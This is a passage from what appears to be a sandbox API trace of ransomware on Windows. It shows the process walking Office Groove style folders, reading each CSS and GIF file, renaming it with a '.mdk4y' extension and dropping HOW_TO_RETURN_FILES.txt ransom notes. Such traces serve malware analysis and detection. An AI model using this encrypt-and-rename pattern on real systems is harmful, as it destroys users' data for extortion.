hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.513] AreFileApisANSI () returned 1 [0220.513] GetACP () returned 0x4e4 [0220.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue.css", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SoftBlue.csss", lpUsedDefaultChar=0x37dd1c) returned 12 [0220.513] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829574400000) returned 1 [0220.514] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x11ca, lpOverlapped=0x0) returned 1 [0220.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829575100000) returned 1 [0220.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829575200000) returned 1 [0220.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css.mdk4y")) returned 1 [0220.523] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.523] AreFileApisANSI () returned 1 [0220.523] GetACP () returned 0x4e4 [0220.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpringGreen", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SpringGreens", lpUsedDefaultChar=0x37dd1c) returned 11 [0220.523] AreFileApisANSI () returned 1 [0220.523] GetACP () returned 0x4e4 [0220.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=107, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned 107 [0220.524] AreFileApisANSI () returned 1 [0220.524] GetACP () returned 0x4e4 [0220.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.524] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.524] AreFileApisANSI () returned 1 [0220.524] GetACP () returned 0x4e4 [0220.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.524] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.524] AreFileApisANSI () returned 1 [0220.524] GetACP () returned 0x4e4 [0220.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="BUTTON.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0220.524] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829575500000) returned 1 [0220.525] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1ac, lpOverlapped=0x0) returned 1 [0220.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829575600000) returned 1 [0220.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829575600000) returned 1 [0220.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif.mdk4y")) returned 1 [0220.527] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.527] AreFileApisANSI () returned 1 [0220.527] GetACP () returned 0x4e4 [0220.527] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0220.527] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829575800000) returned 1 [0220.528] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0220.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829575900000) returned 1 [0220.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829575900000) returned 1 [0220.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif.mdk4y")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.531] AreFileApisANSI () returned 1 [0220.531] GetACP () returned 0x4e4 [0220.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829576200000) returned 1 [0220.532] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0220.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829576300000) returned 1 [0220.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829576300000) returned 1 [0220.533] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif.mdk4y")) returned 1 [0220.534] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.534] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.534] AreFileApisANSI () returned 1 [0220.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 131 [0220.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.535] GetFileType (hFile=0x134) returned 0x1 [0220.536] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.536] AreFileApisANSI () returned 1 [0220.536] GetACP () returned 0x4e4 [0220.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpringGreen.css", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SpringGreen.css", lpUsedDefaultChar=0x37dd1c) returned 15 [0220.536] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829576700000) returned 1 [0220.537] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xfd0, lpOverlapped=0x0) returned 1 [0220.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829576800000) returned 1 [0220.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829576800000) returned 1 [0220.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css.mdk4y")) returned 1 [0220.539] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.539] AreFileApisANSI () returned 1 [0220.539] GetACP () returned 0x4e4 [0220.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sts.css", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Sts.cssreen.css", lpUsedDefaultChar=0x37dd1c) returned 7 [0220.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829577000000) returned 1 [0220.540] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xadd, lpOverlapped=0x0) returned 1 [0220.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829577500000) returned 1 [0220.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829577500000) returned 1 [0220.545] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css.mdk4y")) returned 1 [0220.547] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.547] AreFileApisANSI () returned 1 [0220.547] GetACP () returned 0x4e4 [0220.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STS2", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="STS2css", lpUsedDefaultChar=0x37dd1c) returned 4 [0220.547] AreFileApisANSI () returned 1 [0220.547] GetACP () returned 0x4e4 [0220.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=100, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\\x02Ȁ") returned 100 [0220.548] AreFileApisANSI () returned 1 [0220.548] GetACP () returned 0x4e4 [0220.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.548] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.548] AreFileApisANSI () returned 1 [0220.548] GetACP () returned 0x4e4 [0220.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.548] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.548] AreFileApisANSI () returned 1 [0220.548] GetACP () returned 0x4e4 [0220.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0220.548] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829577900000) returned 1 [0220.549] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xe9, lpOverlapped=0x0) returned 1 [0220.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829577900000) returned 1 [0220.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829577900000) returned 1 [0220.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif.mdk4y")) returned 1 [0220.552] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.552] AreFileApisANSI () returned 1 [0220.552] GetACP () returned 0x4e4 [0220.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIF.gif", lpUsedDefaultChar=0x37dc90) returned 10 [0220.552] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829578200000) returned 1 [0220.552] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xcbd, lpOverlapped=0x0) returned 1 [0220.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829579200000) returned 1 [0220.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829579300000) returned 1 [0220.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif.mdk4y")) returned 1 [0220.564] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.564] AreFileApisANSI () returned 1 [0220.564] GetACP () returned 0x4e4 [0220.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dc90) returned 11 [0220.564] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829579500000) returned 1 [0220.565] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1ce, lpOverlapped=0x0) returned 1 [0220.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829579600000) returned 1 [0220.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829579600000) returned 1 [0220.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif.mdk4y")) returned 1 [0220.575] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.575] AreFileApisANSI () returned 1 [0220.575] GetACP () returned 0x4e4 [0220.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.575] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829580600000) returned 1 [0220.576] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x108, lpOverlapped=0x0) returned 1 [0220.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829580700000) returned 1 [0220.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829580700000) returned 1 [0220.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif.mdk4y")) returned 1 [0220.578] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.578] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.579] AreFileApisANSI () returned 1 [0220.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 124 [0220.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft 